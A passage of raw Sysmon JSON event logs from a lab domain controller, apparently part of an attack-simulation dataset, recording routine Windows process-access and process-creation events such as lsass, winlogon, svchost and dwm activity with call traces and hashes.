\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":819,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":820,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1c030|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1c030|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":821,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":822,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 936\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"936","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":823,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1116\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1116","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":824,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":825,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nSourceProcessId: 1092\r\nSourceThreadId: 1360\r\nSourceImage: C:\\Windows\\system32\\LogonUI.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\logoncontroller.dll+2dfb5|C:\\Windows\\System32\\RPCRT4.dll+580d4|C:\\Windows\\System32\\RPCRT4.dll+39ae0|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","SourceProcessId":"1092","SourceThreadId":"1360","SourceImage":"C:\\Windows\\system32\\LogonUI.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\logoncontroller.dll+2dfb5|C:\\Windows\\System32\\RPCRT4.dll+580d4|C:\\Windows\\System32\\RPCRT4.dll+39ae0|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":826,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.169\r\nProcessGuid: {90617006-3FD4-5F2D-0000-001073D20000}\r\nProcessId: 1376\r\nImage: C:\\Windows\\System32\\dwm.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Desktop Window Manager\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: dwm.exe\r\nCommandLine: \"dwm.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: Window Manager\\DWM-1\r\nLogonGuid: {90617006-3FD4-5F2D-0000-00209FB40000}\r\nLogonId: 0xB49F\r\nTerminalSessionId: 1\r\nIntegrityLevel: System\r\nHashes: MD5=C89F159A577F19F7F03C73C98D29D841,SHA256=B3E37997C1C62DD90D69EF83D6A6FC782BF9A5B8AD04A0D1528A8B7FA31AA408,IMPHASH=DDB7DE3741333EE031929A760FCD4542\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nParentProcessId: 800\r\nParentImage: C:\\Windows\\System32\\winlogon.exe\r\nParentCommandLine: winlogon.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.169","ProcessGuid":"{90617006-3FD4-5F2D-0000-001073D20000}","Image":"C:\\Windows\\System32\\dwm.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Desktop Window Manager","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"dwm.exe","CommandLine":"\"dwm.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"Window Manager\\DWM-1","LogonGuid":"{90617006-3FD4-5F2D-0000-00209FB40000}","LogonId":"0xb49f","TerminalSessionId":"1","IntegrityLevel":"System","Hashes":"MD5=C89F159A577F19F7F03C73C98D29D841,SHA256=B3E37997C1C62DD90D69EF83D6A6FC782BF9A5B8AD04A0D1528A8B7FA31AA408,IMPHASH=DDB7DE3741333EE031929A760FCD4542","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-0010244B0000}","ParentProcessId":"800","ParentImage":"C:\\Windows\\System32\\winlogon.exe","ParentCommandLine":"winlogon.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":827,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nSourceProcessId: 800\r\nSourceThreadId: 1080\r\nSourceImage: C:\\Windows\\system32\\winlogon.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001073D20000}\r\nTargetProcessId: 1376\r\nTargetImage: C:\\Windows\\system32\\dwm.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\SYSTEM32\\dwminit.dll+2d11|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 